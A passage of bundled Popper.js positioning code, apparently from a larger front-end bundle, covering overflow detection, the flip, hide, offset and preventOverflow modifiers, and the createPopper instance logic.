	      scroll = _options$scroll === void 0 ? true : _options$scroll,
	      _options$resize = options.resize,
	      resize = _options$resize === void 0 ? true : _options$resize;
	  var window = getWindow(state.elements.popper);
	  var scrollParents = [].concat(state.scrollParents.reference, state.scrollParents.popper);
	  if (scroll) {
	    scrollParents.forEach(function (scrollParent) {
	      scrollParent.addEventListener('scroll', instance.update, passive);
	    });
	  }
	  if (resize) {
	    window.addEventListener('resize', instance.update, passive);
	  }
	  return function () {
	    if (scroll) {
	      scrollParents.forEach(function (scrollParent) {
	        scrollParent.removeEventListener('scroll', instance.update, passive);
	      });
	    }
	    if (resize) {
	      window.removeEventListener('resize', instance.update, passive);
	    }
	  };
	}
	var eventListeners = {
	  name: 'eventListeners',
	  enabled: true,
	  phase: 'write',
	  fn: function fn() {},
	  effect: effect,
	  data: {}
	};

	var hash$1 = {
	  left: 'right',
	  right: 'left',
	  bottom: 'top',
	  top: 'bottom'
	};
	function getOppositePlacement(placement) {
	  return placement.replace(/left|right|bottom|top/g, function (matched) {
	    return hash$1[matched];
	  });
	}

	var hash = {
	  start: 'end',
	  end: 'start'
	};
	function getOppositeVariationPlacement(placement) {
	  return placement.replace(/start|end/g, function (matched) {
	    return hash[matched];
	  });
	}

	function getWindowScroll(node) {
	  var win = getWindow(node);
	  var scrollLeft = win.pageXOffset;
	  var scrollTop = win.pageYOffset;
	  return {
	    scrollLeft: scrollLeft,
	    scrollTop: scrollTop
	  };
	}

	function getWindowScrollBarX(element) {
	  return getBoundingClientRect(getDocumentElement(element)).left + getWindowScroll(element).scrollLeft;
	}

	function getViewportRect(element) {
	  var win = getWindow(element);
	  var html = getDocumentElement(element);
	  var visualViewport = win.visualViewport;
	  var width = html.clientWidth;
	  var height = html.clientHeight;
	  var x = 0;
	  var y = 0;
	  if (visualViewport) {
	    width = visualViewport.width;
	    height = visualViewport.height;
	    if (!/^((?!chrome|android).)*safari/i.test(navigator.userAgent)) {
	      x = visualViewport.offsetLeft;
	      y = visualViewport.offsetTop;
	    }
	  }
	  return {
	    width: width,
	    height: height,
	    x: x + getWindowScrollBarX(element),
	    y: y
	  };
	}

	function getDocumentRect(element) {
	  var _element$ownerDocumen;
	  var html = getDocumentElement(element);
	  var winScroll = getWindowScroll(element);
	  var body = (_element$ownerDocumen = element.ownerDocument) == null ? void 0 : _element$ownerDocumen.body;
	  var width = max(html.scrollWidth, html.clientWidth, body ? body.scrollWidth : 0, body ? body.clientWidth : 0);
	  var height = max(html.scrollHeight, html.clientHeight, body ? body.scrollHeight : 0, body ? body.clientHeight : 0);
	  var x = -winScroll.scrollLeft + getWindowScrollBarX(element);
	  var y = -winScroll.scrollTop;
	  if (getComputedStyle$1(body || html).direction === 'rtl') {
	    x += max(html.clientWidth, body ? body.clientWidth : 0) - width;
	  }
	  return {
	    width: width,
	    height: height,
	    x: x,
	    y: y
	  };
	}

	function isScrollParent(element) {
	  var _getComputedStyle = getComputedStyle$1(element),
	      overflow = _getComputedStyle.overflow,
	      overflowX = _getComputedStyle.overflowX,
	      overflowY = _getComputedStyle.overflowY;
	  return /auto|scroll|overlay|hidden/.test(overflow + overflowY + overflowX);
	}

	function getScrollParent(node) {
	  if (['html', 'body', '#document'].indexOf(getNodeName(node)) >= 0) {
	    return node.ownerDocument.body;
	  }
	  if (isHTMLElement(node) && isScrollParent(node)) {
	    return node;
	  }
	  return getScrollParent(getParentNode(node));
	}

	function listScrollParents(element, list) {
	  var _element$ownerDocumen;
	  if (list === void 0) {
	    list = [];
	  }
	  var scrollParent = getScrollParent(element);
	  var isBody = scrollParent === ((_element$ownerDocumen = element.ownerDocument) == null ? void 0 : _element$ownerDocumen.body);
	  var win = getWindow(scrollParent);
	  var target = isBody ? [win].concat(win.visualViewport || [], isScrollParent(scrollParent) ? scrollParent : []) : scrollParent;
	  var updatedList = list.concat(target);
	  return isBody ? updatedList :
	  updatedList.concat(listScrollParents(getParentNode(target)));
	}

	function rectToClientRect(rect) {
	  return Object.assign({}, rect, {
	    left: rect.x,
	    top: rect.y,
	    right: rect.x + rect.width,
	    bottom: rect.y + rect.height
	  });
	}

	function getInnerBoundingClientRect(element) {
	  var rect = getBoundingClientRect(element);
	  rect.top = rect.top + element.clientTop;
	  rect.left = rect.left + element.clientLeft;
	  rect.bottom = rect.top + element.clientHeight;
	  rect.right = rect.left + element.clientWidth;
	  rect.width = element.clientWidth;
	  rect.height = element.clientHeight;
	  rect.x = rect.left;
	  rect.y = rect.top;
	  return rect;
	}
	function getClientRectFromMixedType(element, clippingParent) {
	  return clippingParent === viewport ? rectToClientRect(getViewportRect(element)) : isElement$1(clippingParent) ? getInnerBoundingClientRect(clippingParent) : rectToClientRect(getDocumentRect(getDocumentElement(element)));
	}
	function getClippingParents(element) {
	  var clippingParents = listScrollParents(getParentNode(element));
	  var canEscapeClipping = ['absolute', 'fixed'].indexOf(getComputedStyle$1(element).position) >= 0;
	  var clipperElement = canEscapeClipping && isHTMLElement(element) ? getOffsetParent(element) : element;
	  if (!isElement$1(clipperElement)) {
	    return [];
	  }
	  return clippingParents.filter(function (clippingParent) {
	    return isElement$1(clippingParent) && contains(clippingParent, clipperElement) && getNodeName(clippingParent) !== 'body';
	  });
	}
	function getClippingRect(element, boundary, rootBoundary) {
	  var mainClippingParents = boundary === 'clippingParents' ? getClippingParents(element) : [].concat(boundary);
	  var clippingParents = [].concat(mainClippingParents, [rootBoundary]);
	  var firstClippingParent = clippingParents[0];
	  var clippingRect = clippingParents.reduce(function (accRect, clippingParent) {
	    var rect = getClientRectFromMixedType(element, clippingParent);
	    accRect.top = max(rect.top, accRect.top);
	    accRect.right = min(rect.right, accRect.right);
	    accRect.bottom = min(rect.bottom, accRect.bottom);
	    accRect.left = max(rect.left, accRect.left);
	    return accRect;
	  }, getClientRectFromMixedType(element, firstClippingParent));
	  clippingRect.width = clippingRect.right - clippingRect.left;
	  clippingRect.height = clippingRect.bottom - clippingRect.top;
	  clippingRect.x = clippingRect.left;
	  clippingRect.y = clippingRect.top;
	  return clippingRect;
	}

	function computeOffsets(_ref) {
	  var reference = _ref.reference,
	      element = _ref.element,
	      placement = _ref.placement;
	  var basePlacement = placement ? getBasePlacement(placement) : null;
	  var variation = placement ? getVariation(placement) : null;
	  var commonX = reference.x + reference.width / 2 - element.width / 2;
	  var commonY = reference.y + reference.height / 2 - element.height / 2;
	  var offsets;
	  switch (basePlacement) {
	    case top:
	      offsets = {
	        x: commonX,
	        y: reference.y - element.height
	      };
	      break;
	    case bottom:
	      offsets = {
	        x: commonX,
	        y: reference.y + reference.height
	      };
	      break;
	    case right:
	      offsets = {
	        x: reference.x + reference.width,
	        y: commonY
	      };
	      break;
	    case left:
	      offsets = {
	        x: reference.x - element.width,
	        y: commonY
	      };
	      break;
	    default:
	      offsets = {
	        x: reference.x,
	        y: reference.y
	      };
	  }
	  var mainAxis = basePlacement ? getMainAxisFromPlacement(basePlacement) : null;
	  if (mainAxis != null) {
	    var len = mainAxis === 'y' ? 'height' : 'width';
	    switch (variation) {
	      case start:
	        offsets[mainAxis] = offsets[mainAxis] - (reference[len] / 2 - element[len] / 2);
	        break;
	      case end:
	        offsets[mainAxis] = offsets[mainAxis] + (reference[len] / 2 - element[len] / 2);
	        break;
	    }
	  }
	  return offsets;
	}

	function detectOverflow(state, options) {
	  if (options === void 0) {
	    options = {};
	  }
	  var _options = options,
	      _options$placement = _options.placement,
	      placement = _options$placement === void 0 ? state.placement : _options$placement,
	      _options$boundary = _options.boundary,
	      boundary = _options$boundary === void 0 ? clippingParents : _options$boundary,
	      _options$rootBoundary = _options.rootBoundary,
	      rootBoundary = _options$rootBoundary === void 0 ? viewport : _options$rootBoundary,
	      _options$elementConte = _options.elementContext,
	      elementContext = _options$elementConte === void 0 ? popper : _options$elementConte,
	      _options$altBoundary = _options.altBoundary,
	      altBoundary = _options$altBoundary === void 0 ? false : _options$altBoundary,
	      _options$padding = _options.padding,
	      padding = _options$padding === void 0 ? 0 : _options$padding;
	  var paddingObject = mergePaddingObject(typeof padding !== 'number' ? padding : expandToHashMap(padding, basePlacements));
	  var altContext = elementContext === popper ? reference : popper;
	  var popperRect = state.rects.popper;
	  var element = state.elements[altBoundary ? altContext : elementContext];
	  var clippingClientRect = getClippingRect(isElement$1(element) ? element : element.contextElement || getDocumentElement(state.elements.popper), boundary, rootBoundary);
	  var referenceClientRect = getBoundingClientRect(state.elements.reference);
	  var popperOffsets = computeOffsets({
	    reference: referenceClientRect,
	    element: popperRect,
	    strategy: 'absolute',
	    placement: placement
	  });
	  var popperClientRect = rectToClientRect(Object.assign({}, popperRect, popperOffsets));
	  var elementClientRect = elementContext === popper ? popperClientRect : referenceClientRect;
	  var overflowOffsets = {
	    top: clippingClientRect.top - elementClientRect.top + paddingObject.top,
	    bottom: elementClientRect.bottom - clippingClientRect.bottom + paddingObject.bottom,
	    left: clippingClientRect.left - elementClientRect.left + paddingObject.left,
	    right: elementClientRect.right - clippingClientRect.right + paddingObject.right
	  };
	  var offsetData = state.modifiersData.offset;
	  if (elementContext === popper && offsetData) {
	    var offset = offsetData[placement];
	    Object.keys(overflowOffsets).forEach(function (key) {
	      var multiply = [right, bottom].indexOf(key) >= 0 ? 1 : -1;
	      var axis = [top, bottom].indexOf(key) >= 0 ? 'y' : 'x';
	      overflowOffsets[key] += offset[axis] * multiply;
	    });
	  }
	  return overflowOffsets;
	}

	function computeAutoPlacement(state, options) {
	  if (options === void 0) {
	    options = {};
	  }
	  var _options = options,
	      placement = _options.placement,
	      boundary = _options.boundary,
	      rootBoundary = _options.rootBoundary,
	      padding = _options.padding,
	      flipVariations = _options.flipVariations,
	      _options$allowedAutoP = _options.allowedAutoPlacements,
	      allowedAutoPlacements = _options$allowedAutoP === void 0 ? placements : _options$allowedAutoP;
	  var variation = getVariation(placement);
	  var placements$1 = variation ? flipVariations ? variationPlacements : variationPlacements.filter(function (placement) {
	    return getVariation(placement) === variation;
	  }) : basePlacements;
	  var allowedPlacements = placements$1.filter(function (placement) {
	    return allowedAutoPlacements.indexOf(placement) >= 0;
	  });
	  if (allowedPlacements.length === 0) {
	    allowedPlacements = placements$1;
	  }
	  var overflows = allowedPlacements.reduce(function (acc, placement) {
	    acc[placement] = detectOverflow(state, {
	      placement: placement,
	      boundary: boundary,
	      rootBoundary: rootBoundary,
	      padding: padding
	    })[getBasePlacement(placement)];
	    return acc;
	  }, {});
	  return Object.keys(overflows).sort(function (a, b) {
	    return overflows[a] - overflows[b];
	  });
	}

	function getExpandedFallbackPlacements(placement) {
	  if (getBasePlacement(placement) === auto) {
	    return [];
	  }
	  var oppositePlacement = getOppositePlacement(placement);
	  return [getOppositeVariationPlacement(placement), oppositePlacement, getOppositeVariationPlacement(oppositePlacement)];
	}
	function flip(_ref) {
	  var state = _ref.state,
	      options = _ref.options,
	      name = _ref.name;
	  if (state.modifiersData[name]._skip) {
	    return;
	  }
	  var _options$mainAxis = options.mainAxis,
	      checkMainAxis = _options$mainAxis === void 0 ? true : _options$mainAxis,
	      _options$altAxis = options.altAxis,
	      checkAltAxis = _options$altAxis === void 0 ? true : _options$altAxis,
	      specifiedFallbackPlacements = options.fallbackPlacements,
	      padding = options.padding,
	      boundary = options.boundary,
	      rootBoundary = options.rootBoundary,
	      altBoundary = options.altBoundary,
	      _options$flipVariatio = options.flipVariations,
	      flipVariations = _options$flipVariatio === void 0 ? true : _options$flipVariatio,
	      allowedAutoPlacements = options.allowedAutoPlacements;
	  var preferredPlacement = state.options.placement;
	  var basePlacement = getBasePlacement(preferredPlacement);
	  var isBasePlacement = basePlacement === preferredPlacement;
	  var fallbackPlacements = specifiedFallbackPlacements || (isBasePlacement || !flipVariations ? [getOppositePlacement(preferredPlacement)] : getExpandedFallbackPlacements(preferredPlacement));
	  var placements = [preferredPlacement].concat(fallbackPlacements).reduce(function (acc, placement) {
	    return acc.concat(getBasePlacement(placement) === auto ? computeAutoPlacement(state, {
	      placement: placement,
	      boundary: boundary,
	      rootBoundary: rootBoundary,
	      padding: padding,
	      flipVariations: flipVariations,
	      allowedAutoPlacements: allowedAutoPlacements
	    }) : placement);
	  }, []);
	  var referenceRect = state.rects.reference;
	  var popperRect = state.rects.popper;
	  var checksMap = new Map();
	  var makeFallbackChecks = true;
	  var firstFittingPlacement = placements[0];
	  for (var i = 0; i < placements.length; i++) {
	    var placement = placements[i];
	    var _basePlacement = getBasePlacement(placement);
	    var isStartVariation = getVariation(placement) === start;
	    var isVertical = [top, bottom].indexOf(_basePlacement) >= 0;
	    var len = isVertical ? 'width' : 'height';
	    var overflow = detectOverflow(state, {
	      placement: placement,
	      boundary: boundary,
	      rootBoundary: rootBoundary,
	      altBoundary: altBoundary,
	      padding: padding
	    });
	    var mainVariationSide = isVertical ? isStartVariation ? right : left : isStartVariation ? bottom : top;
	    if (referenceRect[len] > popperRect[len]) {
	      mainVariationSide = getOppositePlacement(mainVariationSide);
	    }
	    var altVariationSide = getOppositePlacement(mainVariationSide);
	    var checks = [];
	    if (checkMainAxis) {
	      checks.push(overflow[_basePlacement] <= 0);
	    }
	    if (checkAltAxis) {
	      checks.push(overflow[mainVariationSide] <= 0, overflow[altVariationSide] <= 0);
	    }
	    if (checks.every(function (check) {
	      return check;
	    })) {
	      firstFittingPlacement = placement;
	      makeFallbackChecks = false;
	      break;
	    }
	    checksMap.set(placement, checks);
	  }
	  if (makeFallbackChecks) {
	    var numberOfChecks = flipVariations ? 3 : 1;
	    var _loop = function _loop(_i) {
	      var fittingPlacement = placements.find(function (placement) {
	        var checks = checksMap.get(placement);
	        if (checks) {
	          return checks.slice(0, _i).every(function (check) {
	            return check;
	          });
	        }
	      });
	      if (fittingPlacement) {
	        firstFittingPlacement = fittingPlacement;
	        return "break";
	      }
	    };
	    for (var _i = numberOfChecks; _i > 0; _i--) {
	      var _ret = _loop(_i);
	      if (_ret === "break") break;
	    }
	  }
	  if (state.placement !== firstFittingPlacement) {
	    state.modifiersData[name]._skip = true;
	    state.placement = firstFittingPlacement;
	    state.reset = true;
	  }
	}
	var flip$1 = {
	  name: 'flip',
	  enabled: true,
	  phase: 'main',
	  fn: flip,
	  requiresIfExists: ['offset'],
	  data: {
	    _skip: false
	  }
	};

	function getSideOffsets(overflow, rect, preventedOffsets) {
	  if (preventedOffsets === void 0) {
	    preventedOffsets = {
	      x: 0,
	      y: 0
	    };
	  }
	  return {
	    top: overflow.top - rect.height - preventedOffsets.y,
	    right: overflow.right - rect.width + preventedOffsets.x,
	    bottom: overflow.bottom - rect.height + preventedOffsets.y,
	    left: overflow.left - rect.width - preventedOffsets.x
	  };
	}
	function isAnySideFullyClipped(overflow) {
	  return [top, right, bottom, left].some(function (side) {
	    return overflow[side] >= 0;
	  });
	}
	function hide(_ref) {
	  var state = _ref.state,
	      name = _ref.name;
	  var referenceRect = state.rects.reference;
	  var popperRect = state.rects.popper;
	  var preventedOffsets = state.modifiersData.preventOverflow;
	  var referenceOverflow = detectOverflow(state, {
	    elementContext: 'reference'
	  });
	  var popperAltOverflow = detectOverflow(state, {
	    altBoundary: true
	  });
	  var referenceClippingOffsets = getSideOffsets(referenceOverflow, referenceRect);
	  var popperEscapeOffsets = getSideOffsets(popperAltOverflow, popperRect, preventedOffsets);
	  var isReferenceHidden = isAnySideFullyClipped(referenceClippingOffsets);
	  var hasPopperEscaped = isAnySideFullyClipped(popperEscapeOffsets);
	  state.modifiersData[name] = {
	    referenceClippingOffsets: referenceClippingOffsets,
	    popperEscapeOffsets: popperEscapeOffsets,
	    isReferenceHidden: isReferenceHidden,
	    hasPopperEscaped: hasPopperEscaped
	  };
	  state.attributes.popper = Object.assign({}, state.attributes.popper, {
	    'data-popper-reference-hidden': isReferenceHidden,
	    'data-popper-escaped': hasPopperEscaped
	  });
	}
	var hide$1 = {
	  name: 'hide',
	  enabled: true,
	  phase: 'main',
	  requiresIfExists: ['preventOverflow'],
	  fn: hide
	};

	function distanceAndSkiddingToXY(placement, rects, offset) {
	  var basePlacement = getBasePlacement(placement);
	  var invertDistance = [left, top].indexOf(basePlacement) >= 0 ? -1 : 1;
	  var _ref = typeof offset === 'function' ? offset(Object.assign({}, rects, {
	    placement: placement
	  })) : offset,
	      skidding = _ref[0],
	      distance = _ref[1];
	  skidding = skidding || 0;
	  distance = (distance || 0) * invertDistance;
	  return [left, right].indexOf(basePlacement) >= 0 ? {
	    x: distance,
	    y: skidding
	  } : {
	    x: skidding,
	    y: distance
	  };
	}
	function offset(_ref2) {
	  var state = _ref2.state,
	      options = _ref2.options,
	      name = _ref2.name;
	  var _options$offset = options.offset,
	      offset = _options$offset === void 0 ? [0, 0] : _options$offset;
	  var data = placements.reduce(function (acc, placement) {
	    acc[placement] = distanceAndSkiddingToXY(placement, state.rects, offset);
	    return acc;
	  }, {});
	  var _data$state$placement = data[state.placement],
	      x = _data$state$placement.x,
	      y = _data$state$placement.y;
	  if (state.modifiersData.popperOffsets != null) {
	    state.modifiersData.popperOffsets.x += x;
	    state.modifiersData.popperOffsets.y += y;
	  }
	  state.modifiersData[name] = data;
	}
	var offset$1 = {
	  name: 'offset',
	  enabled: true,
	  phase: 'main',
	  requires: ['popperOffsets'],
	  fn: offset
	};

	function popperOffsets(_ref) {
	  var state = _ref.state,
	      name = _ref.name;
	  state.modifiersData[name] = computeOffsets({
	    reference: state.rects.reference,
	    element: state.rects.popper,
	    strategy: 'absolute',
	    placement: state.placement
	  });
	}
	var popperOffsets$1 = {
	  name: 'popperOffsets',
	  enabled: true,
	  phase: 'read',
	  fn: popperOffsets,
	  data: {}
	};

	function getAltAxis(axis) {
	  return axis === 'x' ? 'y' : 'x';
	}

	function preventOverflow(_ref) {
	  var state = _ref.state,
	      options = _ref.options,
	      name = _ref.name;
	  var _options$mainAxis = options.mainAxis,
	      checkMainAxis = _options$mainAxis === void 0 ? true : _options$mainAxis,
	      _options$altAxis = options.altAxis,
	      checkAltAxis = _options$altAxis === void 0 ? false : _options$altAxis,
	      boundary = options.boundary,
	      rootBoundary = options.rootBoundary,
	      altBoundary = options.altBoundary,
	      padding = options.padding,
	      _options$tether = options.tether,
	      tether = _options$tether === void 0 ? true : _options$tether,
	      _options$tetherOffset = options.tetherOffset,
	      tetherOffset = _options$tetherOffset === void 0 ? 0 : _options$tetherOffset;
	  var overflow = detectOverflow(state, {
	    boundary: boundary,
	    rootBoundary: rootBoundary,
	    padding: padding,
	    altBoundary: altBoundary
	  });
	  var basePlacement = getBasePlacement(state.placement);
	  var variation = getVariation(state.placement);
	  var isBasePlacement = !variation;
	  var mainAxis = getMainAxisFromPlacement(basePlacement);
	  var altAxis = getAltAxis(mainAxis);
	  var popperOffsets = state.modifiersData.popperOffsets;
	  var referenceRect = state.rects.reference;
	  var popperRect = state.rects.popper;
	  var tetherOffsetValue = typeof tetherOffset === 'function' ? tetherOffset(Object.assign({}, state.rects, {
	    placement: state.placement
	  })) : tetherOffset;
	  var normalizedTetherOffsetValue = typeof tetherOffsetValue === 'number' ? {
	    mainAxis: tetherOffsetValue,
	    altAxis: tetherOffsetValue
	  } : Object.assign({
	    mainAxis: 0,
	    altAxis: 0
	  }, tetherOffsetValue);
	  var offsetModifierState = state.modifiersData.offset ? state.modifiersData.offset[state.placement] : null;
	  var data = {
	    x: 0,
	    y: 0
	  };
	  if (!popperOffsets) {
	    return;
	  }
	  if (checkMainAxis) {
	    var _offsetModifierState$;
	    var mainSide = mainAxis === 'y' ? top : left;
	    var altSide = mainAxis === 'y' ? bottom : right;
	    var len = mainAxis === 'y' ? 'height' : 'width';
	    var offset = popperOffsets[mainAxis];
	    var min$1 = offset + overflow[mainSide];
	    var max$1 = offset - overflow[altSide];
	    var additive = tether ? -popperRect[len] / 2 : 0;
	    var minLen = variation === start ? referenceRect[len] : popperRect[len];
	    var maxLen = variation === start ? -popperRect[len] : -referenceRect[len];
	    var arrowElement = state.elements.arrow;
	    var arrowRect = tether && arrowElement ? getLayoutRect(arrowElement) : {
	      width: 0,
	      height: 0
	    };
	    var arrowPaddingObject = state.modifiersData['arrow#persistent'] ? state.modifiersData['arrow#persistent'].padding : getFreshSideObject();
	    var arrowPaddingMin = arrowPaddingObject[mainSide];
	    var arrowPaddingMax = arrowPaddingObject[altSide];
	    var arrowLen = within(0, referenceRect[len], arrowRect[len]);
	    var minOffset = isBasePlacement ? referenceRect[len] / 2 - additive - arrowLen - arrowPaddingMin - normalizedTetherOffsetValue.mainAxis : minLen - arrowLen - arrowPaddingMin - normalizedTetherOffsetValue.mainAxis;
	    var maxOffset = isBasePlacement ? -referenceRect[len] / 2 + additive + arrowLen + arrowPaddingMax + normalizedTetherOffsetValue.mainAxis : maxLen + arrowLen + arrowPaddingMax + normalizedTetherOffsetValue.mainAxis;
	    var arrowOffsetParent = state.elements.arrow && getOffsetParent(state.elements.arrow);
	    var clientOffset = arrowOffsetParent ? mainAxis === 'y' ? arrowOffsetParent.clientTop || 0 : arrowOffsetParent.clientLeft || 0 : 0;
	    var offsetModifierValue = (_offsetModifierState$ = offsetModifierState == null ? void 0 : offsetModifierState[mainAxis]) != null ? _offsetModifierState$ : 0;
	    var tetherMin = offset + minOffset - offsetModifierValue - clientOffset;
	    var tetherMax = offset + maxOffset - offsetModifierValue;
	    var preventedOffset = within(tether ? min(min$1, tetherMin) : min$1, offset, tether ? max(max$1, tetherMax) : max$1);
	    popperOffsets[mainAxis] = preventedOffset;
	    data[mainAxis] = preventedOffset - offset;
	  }
	  if (checkAltAxis) {
	    var _offsetModifierState$2;
	    var _mainSide = mainAxis === 'x' ? top : left;
	    var _altSide = mainAxis === 'x' ? bottom : right;
	    var _offset = popperOffsets[altAxis];
	    var _len = altAxis === 'y' ? 'height' : 'width';
	    var _min = _offset + overflow[_mainSide];
	    var _max = _offset - overflow[_altSide];
	    var isOriginSide = [top, left].indexOf(basePlacement) !== -1;
	    var _offsetModifierValue = (_offsetModifierState$2 = offsetModifierState == null ? void 0 : offsetModifierState[altAxis]) != null ? _offsetModifierState$2 : 0;
	    var _tetherMin = isOriginSide ? _min : _offset - referenceRect[_len] - popperRect[_len] - _offsetModifierValue + normalizedTetherOffsetValue.altAxis;
	    var _tetherMax = isOriginSide ? _offset + referenceRect[_len] + popperRect[_len] - _offsetModifierValue - normalizedTetherOffsetValue.altAxis : _max;
	    var _preventedOffset = tether && isOriginSide ? withinMaxClamp(_tetherMin, _offset, _tetherMax) : within(tether ? _tetherMin : _min, _offset, tether ? _tetherMax : _max);
	    popperOffsets[altAxis] = _preventedOffset;
	    data[altAxis] = _preventedOffset - _offset;
	  }
	  state.modifiersData[name] = data;
	}
	var preventOverflow$1 = {
	  name: 'preventOverflow',
	  enabled: true,
	  phase: 'main',
	  fn: preventOverflow,
	  requiresIfExists: ['offset']
	};

	function getHTMLElementScroll(element) {
	  return {
	    scrollLeft: element.scrollLeft,
	    scrollTop: element.scrollTop
	  };
	}

	function getNodeScroll(node) {
	  if (node === getWindow(node) || !isHTMLElement(node)) {
	    return getWindowScroll(node);
	  } else {
	    return getHTMLElementScroll(node);
	  }
	}

	function isElementScaled(element) {
	  var rect = element.getBoundingClientRect();
	  var scaleX = round(rect.width) / element.offsetWidth || 1;
	  var scaleY = round(rect.height) / element.offsetHeight || 1;
	  return scaleX !== 1 || scaleY !== 1;
	}
	function getCompositeRect(elementOrVirtualElement, offsetParent, isFixed) {
	  if (isFixed === void 0) {
	    isFixed = false;
	  }
	  var isOffsetParentAnElement = isHTMLElement(offsetParent);
	  var offsetParentIsScaled = isHTMLElement(offsetParent) && isElementScaled(offsetParent);
	  var documentElement = getDocumentElement(offsetParent);
	  var rect = getBoundingClientRect(elementOrVirtualElement, offsetParentIsScaled);
	  var scroll = {
	    scrollLeft: 0,
	    scrollTop: 0
	  };
	  var offsets = {
	    x: 0,
	    y: 0
	  };
	  if (isOffsetParentAnElement || !isOffsetParentAnElement && !isFixed) {
	    if (getNodeName(offsetParent) !== 'body' ||
	    isScrollParent(documentElement)) {
	      scroll = getNodeScroll(offsetParent);
	    }
	    if (isHTMLElement(offsetParent)) {
	      offsets = getBoundingClientRect(offsetParent, true);
	      offsets.x += offsetParent.clientLeft;
	      offsets.y += offsetParent.clientTop;
	    } else if (documentElement) {
	      offsets.x = getWindowScrollBarX(documentElement);
	    }
	  }
	  return {
	    x: rect.left + scroll.scrollLeft - offsets.x,
	    y: rect.top + scroll.scrollTop - offsets.y,
	    width: rect.width,
	    height: rect.height
	  };
	}

	function order(modifiers) {
	  var map = new Map();
	  var visited = new Set();
	  var result = [];
	  modifiers.forEach(function (modifier) {
	    map.set(modifier.name, modifier);
	  });
	  function sort(modifier) {
	    visited.add(modifier.name);
	    var requires = [].concat(modifier.requires || [], modifier.requiresIfExists || []);
	    requires.forEach(function (dep) {
	      if (!visited.has(dep)) {
	        var depModifier = map.get(dep);
	        if (depModifier) {
	          sort(depModifier);
	        }
	      }
	    });
	    result.push(modifier);
	  }
	  modifiers.forEach(function (modifier) {
	    if (!visited.has(modifier.name)) {
	      sort(modifier);
	    }
	  });
	  return result;
	}
	function orderModifiers(modifiers) {
	  var orderedModifiers = order(modifiers);
	  return modifierPhases.reduce(function (acc, phase) {
	    return acc.concat(orderedModifiers.filter(function (modifier) {
	      return modifier.phase === phase;
	    }));
	  }, []);
	}

	function debounce(fn) {
	  var pending;
	  return function () {
	    if (!pending) {
	      pending = new Promise(function (resolve) {
	        Promise.resolve().then(function () {
	          pending = undefined;
	          resolve(fn());
	        });
	      });
	    }
	    return pending;
	  };
	}

	function mergeByName(modifiers) {
	  var merged = modifiers.reduce(function (merged, current) {
	    var existing = merged[current.name];
	    merged[current.name] = existing ? Object.assign({}, existing, current, {
	      options: Object.assign({}, existing.options, current.options),
	      data: Object.assign({}, existing.data, current.data)
	    }) : current;
	    return merged;
	  }, {});
	  return Object.keys(merged).map(function (key) {
	    return merged[key];
	  });
	}

	var DEFAULT_OPTIONS = {
	  placement: 'bottom',
	  modifiers: [],
	  strategy: 'absolute'
	};
	function areValidElements() {
	  for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
	    args[_key] = arguments[_key];
	  }
	  return !args.some(function (element) {
	    return !(element && typeof element.getBoundingClientRect === 'function');
	  });
	}
	function popperGenerator(generatorOptions) {
	  if (generatorOptions === void 0) {
	    generatorOptions = {};
	  }
	  var _generatorOptions = generatorOptions,
	      _generatorOptions$def = _generatorOptions.defaultModifiers,
	      defaultModifiers = _generatorOptions$def === void 0 ? [] : _generatorOptions$def,
	      _generatorOptions$def2 = _generatorOptions.defaultOptions,
	      defaultOptions = _generatorOptions$def2 === void 0 ? DEFAULT_OPTIONS : _generatorOptions$def2;
	  return function createPopper(reference, popper, options) {
	    if (options === void 0) {
	      options = defaultOptions;
	    }
	    var state = {
	      placement: 'bottom',
	      orderedModifiers: [],
	      options: Object.assign({}, DEFAULT_OPTIONS, defaultOptions),
	      modifiersData: {},
	      elements: {
	        reference: reference,
	        popper: popper
	      },
	      attributes: {},
	      styles: {}
	    };
	    var effectCleanupFns = [];
	    var isDestroyed = false;
	    var instance = {
	      state: state,
	      setOptions: function setOptions(setOptionsAction) {
	        var options = typeof setOptionsAction === 'function' ? setOptionsAction(state.options) : setOptionsAction;
	        cleanupModifierEffects();
	        state.options = Object.assign({}, defaultOptions, state.options, options);
	        state.scrollParents = {
	          reference: isElement$1(reference) ? listScrollParents(reference) : reference.contextElement ? listScrollParents(reference.contextElement) : [],
	          popper: listScrollParents(popper)
	        };
	        var orderedModifiers = orderModifiers(mergeByName([].concat(defaultModifiers, state.options.modifiers)));
	        state.orderedModifiers = orderedModifiers.filter(function (m) {
	          return m.enabled;
	        });
	        runModifierEffects();
	        return instance.update();
	      },
	      forceUpdate: function forceUpdate() {
	        if (isDestroyed) {
	          return;
	        }
	        var _state$elements = state.elements,
	            reference = _state$elements.reference,
	            popper = _state$elements.popper;
	        if (!areValidElements(reference, popper)) {
	          return;
	        }
	        state.rects = {
	          reference: getCompositeRect(reference, getOffsetParent(popper), state.options.strategy === 'fixed'),
	          popper: getLayoutRect(popper)
	        };
	        state.reset = false;
	        state.placement = state.options.placement;
	        state.orderedModifiers.forEach(function (modifier) {
	          return state.modifiersData[modifier.name] = Object.assign({}, modifier.data);
	        });
	        for (var index = 0; index < state.orderedModifiers.length; index++) {
	          if (state.reset === true) {
	            state.reset = false;
	            index = -1;
	            continue;
	          }
	          var _state$orderedModifie = state.orderedModifiers[index],
	              fn = _state$orderedModifie.fn,
	              _state$orderedModifie2 = _state$orderedModifie.options,
	              _options = _state$orderedModifie2 === void 0 ? {} : _state$orderedModifie2,
	              name = _state$orderedModifie.name;
	          if (typeof fn === 'function') {
	            state = fn({
	              state: state,
	              options: _options,
	              name: name,
	              instance: instance
	            }) || state;
	          }
	        }
	      },
	      update: debounce(function () {
	        return new Promise(function (resolve) {
	          instance.forceUpdate();
	          resolve(state);
	        });
	      }),
	      destroy: function destroy() {
	        cleanupModifierEffects();
	        isDestroyed = true;
	      }
	    };
	    if (!areValidElements(reference, popper)) {
	      return instance;
	    }
	    instance.setOptions(options).then(function (state) {
	      if (!isDestroyed && options.onFirstUpdate) {
	        options.onFirstUpdate(state);
	      }
	    });
	    function runModifierEffects() {
	      state.orderedModifiers.forEach(function (_ref3) {
	        var name = _ref3.name,
	            _ref3$options = _ref3.options,
	            options = _ref3$options === void 0 ? {} : _ref3$options,
	            effect = _ref3.effect;
	        if (typeof effect === 'function') {
	          var cleanupFn = effect({
	            state: state,
	            name: name,
	            instance: instance,
	            options: options
	          });
	          var noopFn = function noopFn() {};
	          effectCleanupFns.push(cleanupFn || noopFn);
	        }
	      });
	    }
	    function cleanupModifierEffects() {
	      effectCleanupFns.forEach(function (fn) {
	        return fn();
	      });
	      effectCleanupFns = [];
	    }
	    return instance;
